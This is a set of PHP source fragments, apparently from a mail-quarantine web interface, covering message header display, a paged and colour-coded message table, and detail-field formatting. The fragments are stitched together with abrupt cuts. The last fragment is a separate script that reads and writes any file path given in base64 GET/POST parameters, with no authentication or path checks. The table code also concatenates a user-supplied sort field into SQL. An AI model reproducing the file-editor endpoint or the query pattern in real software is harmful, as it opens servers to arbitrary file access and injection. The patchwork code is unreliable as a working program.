break; } echo ' <tr> <td class="heading" align="right" width="10%">' . $titleintl . '</td> <td class="detail" width="80%">' . $v . '</td> </tr>' . "\n"; } // Display the headers $header_fields = array(array('name' => 'date', 'replaceQuote' => false), array('name' => 'from', 'replaceQuote' => true), array('name' => 'to', 'replaceQuote' => true), array('name' => 'subject', 'replaceQuote' => false)); foreach ($header_fields as $field) { if (isset($structure->headers[$field['name']])) { /* this is a quick hack to fix issue #154, This need to be recoded in next version */ if (is_array($structure->headers[$field['name']])) { $structure->headers[$field['name']] = implode("; ", $structure->headers[$field['name']]); } $structure->headers[$field['name']] = getUTF8String($structure->headers[$field['name']]); if ($field['replaceQuote']) { $structure->headers[$field['name']] = str_replace('"', '', $structure->headers[$field['name']]); } lazy(ucfirst($field['name']) . ':', $structure->headers[$field['name']]); } } if ($message->virusinfected == 0 && $message->nameinfected == 0 && $message->otherinfected == 0 || $_SESSION['user_type'] == 'A') { lazy(__('actions06') . ":", "<a href=\"javascript:void(0)\" onclick=\"do_action('" . $message->id . "','release')\">" . __('releasemsg06') . "</a> | <a href=\"javascript:void(0)\" onclick=\"do_action('" . $message->id . "','delete')\">" . __('deletemsg06') . "</a>", false); } foreach ($mime_struct as $key => $part) { $type = $part->ctype_primary . '/' . $part->ctype_secondary; echo " <tr>\n"; echo " <td colspan=2 class=\"heading\">MIME Type: {$type}</td>\n"; switch ($type) { case "text/plain":
/** * @param $sql * @param bool|string $table_heading * @param bool $pager * @param bool $order * @param bool $operations */ function db_colorised_table($sql, $table_heading = false, $pager = false, $order = false, $operations = false) { require_once __DIR__ . '/lib/pear/Mail/mimeDecode.php'; // Ordering $orderby = null; $orderdir = ''; if (isset($_GET['orderby'])) { $orderby = sanitizeInput($_GET['orderby']); switch (strtoupper($_GET['orderdir'])) { case 'A': $orderdir = 'ASC'; break; case 'D': $orderdir = 'DESC'; break; } } if (!empty($orderby)) { if (($p = stristr($sql, 'ORDER BY')) !== false) { // We already have an existing ORDER BY clause $p = "ORDER BY\n " . $orderby . ' ' . $orderdir . ',' . substr($p, strlen('ORDER BY') + 2); $sql = substr($sql, 0, strpos($sql, 'ORDER BY')) . $p; } else { // No existing ORDER BY - disable feature $order = false; } } if ($pager) { require_once __DIR__ . '/lib/pear/Pager.php'; if (isset($_GET['offset'])) { $from = intval($_GET['offset']); } else { $from = 0; } // Remove any ORDER BY clauses as this will slow the count considerably if ($pos = strpos($sql, "ORDER BY")) { $sqlcount = substr($sql, 0, $pos); } // Count the number of rows that would be returned by the query $sqlcount = "SELECT COUNT(*) " . strstr($sqlcount, "FROM"); $rows = mysql_result(dbquery($sqlcount), 0); // Build the pager data $pager_options = array('mode' => 'Sliding', 'perPage' => MAX_RESULTS, 'delta' => 2, 'totalItems' => $rows); $pager = @Pager::factory($pager_options); //then we fetch the relevant records for the current page list($from, $to) = $pager->getOffsetByPageId(); echo '<table cellspacing="1" class="mail" > <tr> <th colspan="5">' . __('disppage03') . ' ' . $pager->getCurrentPageID() . ' ' . __('of03') . ' ' . $pager->numPages() . ' - ' . __('records03') . ' ' . $from . ' ' . __('to0203') . ' ' . $to . ' ' . __('of03') . ' ' . $pager->numItems() . '</th> </tr> <tr> <td align="center">' . "\n"; //show the links echo $pager->links; echo '</td> </tr> </table> </tr> <tr> <td colspan="4">'; // Re-run the original query and limit the rows $limit = $from - 1; $sql .= " LIMIT {$limit}," . MAX_RESULTS; $sth = dbquery($sql); $rows = mysql_num_rows($sth); $fields = mysql_num_fields($sth); // Account for extra operations column if ($operations !== false) { $fields++; } } else { $sth = dbquery($sql); $rows = mysql_num_rows($sth); $fields = mysql_num_fields($sth); // Account for extra operations column if ($operations !== false) { $fields++; } } if ($rows > 0) { if ($operations !== false) { // Start form for operations echo '<form name="operations" action="./do_message_ops.php" method="POST">' . "\n"; } echo '<table cellspacing="1" width="100%" class="mail">' . "\n"; // Work out which columns to display for ($f = 0; $f < $fields; $f++) { if ($f == 0 && $operations !== false) { // Set up display for operations form elements $display[$f] = true; $orderable[$f] = false; // Set it up not to wrap - tricky way to leach onto the align field $align[$f] = 'center" style="white-space:nowrap'; $fieldname[$f] = 'Ops<br><a href="javascript:SetRadios(\'S\')">S</a> <a href="javascript:SetRadios(\'H\')">H</a> <a href="javascript:SetRadios(\'F\')">F</a> <a href="javascript:SetRadios(\'R\')">R</a>'; continue; } $display[$f] = true; $orderable[$f] = true; $align[$f] = false; // Set up the mysql column to account for operations if ($operations !== false) { $colnum = $f - 1; } else { $colnum = $f; } switch ($fieldname[$f] = mysql_field_name($sth, $colnum)) { case 'host': $fieldname[$f] = "Host"; if (DISTRIBUTED_SETUP) { $display[$f] = true; } else { $display[$f] = false; } break; case 'timestamp': $fieldname[$f] = __('datetime03'); $align[$f] = "center"; break; case 'datetime': $fieldname[$f] = __('datetime03'); $align[$f] = "center"; break; case 'id': $fieldname[$f] = "ID"; $orderable[$f] = false; $align[$f] = "center"; break; case 'id2': $fieldname[$f] = "#"; $orderable[$f] = false; $align[$f] = "center"; break; case 'size': $fieldname[$f] = __('size03'); $align[$f] = "right"; break; case 'from_address': $fieldname[$f] = __('from03'); break; case 'to_address': $fieldname[$f] = __('to03'); break; case 'subject': $fieldname[$f] = __('subject03'); break; case 'clientip': if (defined('DISPLAY_IP') && DISPLAY_IP) { $fieldname[$f] = "Client IP"; } $display[$f] = true; break; case 'archive': $display[$f] = false; break; case 'isspam': $display[$f] = false; break; case 'ishighspam': $display[$f] = false; break; case 'issaspam': $display[$f] = false; break; case 'isrblspam': $display[$f] = false; break; case 'spamwhitelisted': $display[$f] = false; break; case 'spamblacklisted': $display[$f] = false; break; case 'spamreport': $display[$f] = false; break; case 'virusinfected': $display[$f] = false; break; case 'nameinfected': $display[$f] = false; break; case 'otherinfected': $display[$f] = false; break; case 'report': $display[$f] = false; break; case 'ismcp': $display[$f] = false; break; case 'ishighmcp': $display[$f] = false; break; case 'issamcp': $display[$f] = false; break; case 'mcpwhitelisted': $display[$f] = false; break; case 'mcpblacklisted': $display[$f] = false; break; case 'mcpreport': $display[$f] = false; break; case 'hostname': $fieldname[$f] = 'Host'; $display[$f] = true; break; case 'date': $fieldname[$f] = 'Date'; break; case 'time': $fieldname[$f] = 'Time'; break; case 'headers': $display[$f] = false; break; case 'sascore': if (get_conf_truefalse('UseSpamAssassin')) { $fieldname[$f] = __('sascore03'); $align[$f] = "right"; } else { $display[$f] = false; } break; case 'mcpsascore': if (get_conf_truefalse('MCPChecks')) { $fieldname[$f] = __('mcpscore03'); $align[$f] = "right"; } else { $display[$f] = false; } break; case 'status': $fieldname[$f] = "Status"; $orderable[$f] = false; break; case 'message': $fieldname[$f] = "Message"; break; case 'attempts': $fieldname[$f] = "Tries"; $align[$f] = "right"; break; case 'lastattempt': $fieldname[$f] = "Last"; $align[$f] = "right"; break; } } // Table heading if (isset($table_heading) && $table_heading != "") { // Work out how many columns are going to be displayed $column_headings = 0; for ($f = 0; $f < $fields; $f++) { if ($display[$f]) { $column_headings++; } } echo ' <tr>' . "\n"; echo ' <th colspan="' . $column_headings . '">' . $table_heading . '</th>' . "\n"; echo ' </tr>' . "\n"; } // Column headings echo '<tr>' . "\n"; for ($f = 0; $f < $fields; $f++) { if ($display[$f]) { if ($order && $orderable[$f]) { // Set up the mysql column to account for operations if ($operations !== false) { $colnum = $f - 1; } else { $colnum = $f; } echo " <th>\n"; echo " {$fieldname[$f]} (<a href=\"?orderby=" . mysql_field_name($sth, $colnum) . "&orderdir=a" . subtract_multi_get_vars(array('orderby', 'orderdir')) . "\">A</a>/<a href=\"?orderby=" . mysql_field_name($sth, $colnum) . "&orderdir=d" . subtract_multi_get_vars(array('orderby', 'orderdir')) . "\">D</a>)\n"; echo " </th>\n"; } else { echo ' <th>' . $fieldname[$f] . '</th>' . "\n"; } } } echo ' </tr>' . "\n"; // Rows $jsRadioCheck = ''; $jsReleaseCheck = ''; for ($r = 0; $r < $rows; $r++) { $row = mysql_fetch_row($sth); if ($operations !== false) { // Prepend operations elements - later on, replace REPLACEME w/ message id array_unshift($row, '<input name="OPT-REPLACEME" type="RADIO" value="S"> <input name="OPT-REPLACEME" type="RADIO" value="H"> <input name="OPT-REPLACEME" type="RADIO" value="F"> <input name="OPTRELEASE-REPLACEME" type="checkbox" value="R">'); } // Work out field colourings and mofidy the incoming data as necessary // and populate the generate an overall 'status' for the mail. $status_array = array(); $infected = false; $highspam = false; $spam = false; $whitelisted = false; $blacklisted = false; $mcp = false; $highmcp = false; for ($f = 0; $f < $fields; $f++) { if ($operations !== false) { if ($f == 0) { // Skip the first field if it is operations continue; } $field = mysql_field_name($sth, $f - 1); } else { $field = mysql_field_name($sth, $f); } switch ($field) { case 'id': // Store the id for later use $id = $row[$f]; // Create a link to detail.php $row[$f] = '<a href="detail.php?id=' . $row[$f] . '">' . $row[$f] . '</a>' . "\n"; break; case 'id2': // Store the id for later use $id = $row[$f]; // Create a link to detail.php as [<link>] $row[$f] = "[<a href=\"detail.php?id={$row[$f]}\">#</a>]"; break; case 'from_address': $row[$f] = htmlentities($row[$f]); if (FROMTO_MAXLEN > 0) { $row[$f] = trim_output($row[$f], FROMTO_MAXLEN); } break; case 'clientip': $clientip = $row[$f]; if (defined('RESOLVE_IP_ON_DISPLAY') && RESOLVE_IP_ON_DISPLAY === true) { if (net_match('10.0.0.0/8', $clientip) || net_match('172.16.0.0/12', $clientip) || net_match('192.168.0.0/16', $clientip)) { $host = 'Internal Network'; } elseif (($host = gethostbyaddr($clientip)) == $clientip) { $host = 'Unknown'; } $row[$f] .= " ({$host})"; } break; case 'to_address': $row[$f] = htmlentities($row[$f]); if (FROMTO_MAXLEN > 0) { // Trim each address to specified size $to_temp = explode(",", $row[$f]); $num_to_temp = count($to_temp); for ($t = 0; $t < $num_to_temp; $t++) { $to_temp[$t] = trim_output($to_temp[$t], FROMTO_MAXLEN); } // Return the data $row[$f] = implode(",", $to_temp); } // Put each address on a new line $row[$f] = str_replace(",", "<br>", $row[$f]); break; case 'subject': $row[$f] = htmlspecialchars(getUTF8String(decode_header($row[$f]))); if (SUBJECT_MAXLEN > 0) { $row[$f] = trim_output($row[$f], SUBJECT_MAXLEN); } break; case 'isspam': if ($row[$f] == 'Y' || $row[$f] > 0) { $spam = true; array_push($status_array, 'Spam'); } break; case 'ishighspam': if ($row[$f] == 'Y' || $row[$f] > 0) { $highspam = true; } break; case 'ismcp': if ($row[$f] == 'Y' || $row[$f] > 0) { $mcp = true; array_push($status_array, 'MCP'); } break; case 'ishighmcp': if ($row[$f] == 'Y' || $row[$f] > 0) { $highmcp = true; } break; case 'virusinfected': if ($row[$f] == 'Y' || $row[$f] > 0) { $infected = true; array_push($status_array, 'Virus'); } break; case 'report': // IMPORTANT NOTE: for this to work correctly the 'report' field MUST // appear after the 'virusinfected' field within the SQL statement. if (preg_match("/VIRUS_REGEX/", $row[$f], $virus)) { foreach ($status_array as $k => $v) { if ($v = preg_replace('/Virus/', "Virus (" . return_virus_link($virus[2]) . ")", $v)) { $status_array[$k] = $v; } } } break; case 'nameinfected': if ($row[$f] == 'Y' || $row[$f] > 0) { $infected = true; array_push($status_array, 'Bad Content'); } break; case 'otherinfected': if ($row[$f] == 'Y' || $row[$f] > 0) { $infected = true; array_push($status_array, 'Other'); } break; case 'size': $row[$f] = format_mail_size($row[$f]); break; case 'spamwhitelisted': if ($row[$f] == 'Y' || $row[$f] > 0) { $whitelisted = true; array_push($status_array, 'W/L'); } break; case 'spamblacklisted': if ($row[$f] == 'Y' || $row[$f] > 0) { $blacklisted = true; array_push($status_array, 'B/L'); } break; case 'clienthost': $hostname = gethostbyaddr($row[$f]); if ($hostname == $row[$f]) { $row[$f] = "(Hostname lookup failed)"; } else { $row[$f] = $hostname; } break; case 'status': // NOTE: this should always be the last row for it to be displayed correctly // Work out status if (count($status_array) == 0) { $status = "Clean"; } else { $status = join("<br>", $status_array); } $row[$f] = $status; break; } } // Now add the id to the operations form elements if ($operations !== false) { $row[0] = str_replace("REPLACEME", $id, $row[0]); $jsRadioCheck .= " document.operations.elements[\"OPT-{$id}\"][val].checked = true;\n"; $jsReleaseCheck .= " document.operations.elements[\"OPTRELEASE-{$id}\"].checked = true;\n"; } // Colorise the row switch (true) { case $infected: echo '<tr class="infected">' . "\n"; break; case $whitelisted: echo '<tr class="whitelisted">' . "\n"; break; case $blacklisted: echo '<tr class="blacklisted">' . "\n"; break; case $highspam: echo '<tr class="highspam">' . "\n"; break; case $spam: echo '<tr class="spam">' . "\n"; break; case $highmcp: echo '<tr class="highmcp">' . "\n"; break; case $mcp: echo '<tr class="mcp">' . "\n"; break; default: if (isset($fieldname['mcpsascore']) && $fieldname['mcpsascore'] != '') { echo '<tr class="mcp">' . "\n"; } else { echo '<tr >' . "\n"; } break; } // Display the rows for ($f = 0; $f < $fields; $f++) { if ($display[$f]) { if ($align[$f]) { echo ' <td align="' . $align[$f] . '">' . $row[$f] . '</td>' . "\n"; } else { echo ' <td >' . $row[$f] . '</td>' . "\n"; } } } echo ' </tr>' . "\n"; } echo '</table>' . "\n"; // Javascript function to clear radio buttons if ($operations !== false) { echo "\n<script type='text/javascript'>\n function ClearRadios() {\n var e=document.operations.elements\n for(i=0; i<e.length; i++) {\n if (e[i].type=='radio' || e[i].type=='checkbox') {\n e[i].checked=false;\n }\n }\n }\n\n function SetRadios(p) {\n var val;\n var values = {\n 'S' : 0,\n 'H' : 1,\n 'F' : 2,\n 'R' : 3\n };\n switch (p) {\n case 'S':\n case 'H':\n case 'F':\n val = values[p];\n {$jsRadioCheck}\n break;\n case 'R':\n {$jsReleaseCheck}\n break;\n case 'C':\n ClearRadios();\n break;\n default:\n return;\n }\n }\n</script>\n <p> <a href=\"javascript:SetRadios('S')\">S</a>\n <a href=\"javascript:SetRadios('H')\">H</a>\n <a href=\"javascript:SetRadios('F')\">F</a>\n <a href=\"javascript:SetRadios('R')\">R</a>\n or <a href=\"javascript:SetRadios('C')\">Clear</a> all</p>\n <p><input type='SUBMIT' name='SUBMIT' value='Learn'></p>\n </form>\n <p><b>S</b> = Spam <b>H</b> = Ham <b>F</b> = Forget <b>R</b> = Release" . "\n"; } echo '<br>' . "\n"; if ($pager) { require_once __DIR__ . '/lib/pear/Pager.php'; if (isset($_GET['offset'])) { $from = intval($_GET['offset']); } else { $from = 0; } // Remove any ORDER BY clauses as this will slow the count considerably if ($pos = strpos($sql, "ORDER BY")) { $sqlcount = substr($sql, 0, $pos); } // Count the number of rows that would be returned by the query $sqlcount = "SELECT COUNT(*) " . strstr($sqlcount, "FROM"); $rows = mysql_result(dbquery($sqlcount), 0); // Build the pager data $pager_options = array('mode' => 'Sliding', 'perPage' => MAX_RESULTS, 'delta' => 2, 'totalItems' => $rows); $pager = @Pager::factory($pager_options); //then we fetch the relevant records for the current page list($from, $to) = $pager->getOffsetByPageId(); echo '<table cellspacing="1" class="mail" > <tr> <th colspan="5">' . __('disppage03') . ' ' . $pager->getCurrentPageID() . ' ' . __('of03') . ' ' . $pager->numPages() . ' - ' . __('records03') . ' ' . $from . ' ' . __('to0203') . ' ' . $to . ' ' . __('of03') . ' ' . $pager->numItems() . '</th> </tr> <tr> <td align="center">' . "\n"; //show the links echo $pager->links; echo '</td> </tr> </table> </tr> <tr> <td colspan="4">'; } } }
} if ($fieldn == __('from04')) { $row[$f] = htmlentities($row[$f]); $output = '<table class="sa_rules_report" cellspacing="0"><tr><td>' . $row[$f] . '</td>' . "\n"; if (LISTS) { $output .= '<td align="right">[<a href="' . $listurl . '&type=f&list=w">' . __('addwl04') . '</a> | <a href="' . $listurl . '&type=f&list=b">' . __('addbl04') . '</a>]</td>' . "\n"; } $output .= '</tr></table>' . "\n"; $row[$f] = $output; } if ($fieldn == __('to04')) { $row[$f] = htmlspecialchars($row[$f]); $row[$f] = str_replace(",", "<br>", $row[$f]); } if ($fieldn == __('subject04')) { $row[$f] = htmlspecialchars(getUTF8String(decode_header($row[$f]))); } if ($fieldn == __('spamrep04')) { $row[$f] = format_spam_report($row[$f]); } if ($fieldn == __('size04')) { $row[$f] = format_mail_size($row[$f]); } if ($fieldn == __('msgheaders04')) { if (version_compare(phpversion(), "5.4", ">=")) { $row[$f] = nl2br(str_replace(array("\n", "\t"), array("<br>", " "), htmlentities($row[$f], ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE))); } else { $row[$f] = nl2br(str_replace(array("\n", "\t"), array("<br>", " "), htmlentities($row[$f]))); } if (function_exists('iconv_mime_decode')) { $row[$f] = iconv_mime_decode(utf8_decode($row[$f]), 2, 'UTF-8');
//file context $value = ''; //file path code page $path_code_page = "BIG-5"; if (!empty($_POST['q']) && isset($_POST['v'])) { //save file $file_path = base64_url_decode($_POST['q']); $v = base64_decode($_POST['v']); file_put_contents($file_path, $v); echo '1'; exit; } if (!empty($_GET['q'])) { //open file $file_path = base64_url_decode($_GET['q']); $show_path = getUTF8String($file_path, $path_code_page); if (file_exists($file_path)) { $path = $_GET['q']; $value = base64_encode(file_get_contents($file_path)); } } ?> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title><?php echo $show_path; ?> </title> <style type="text/css" media="screen">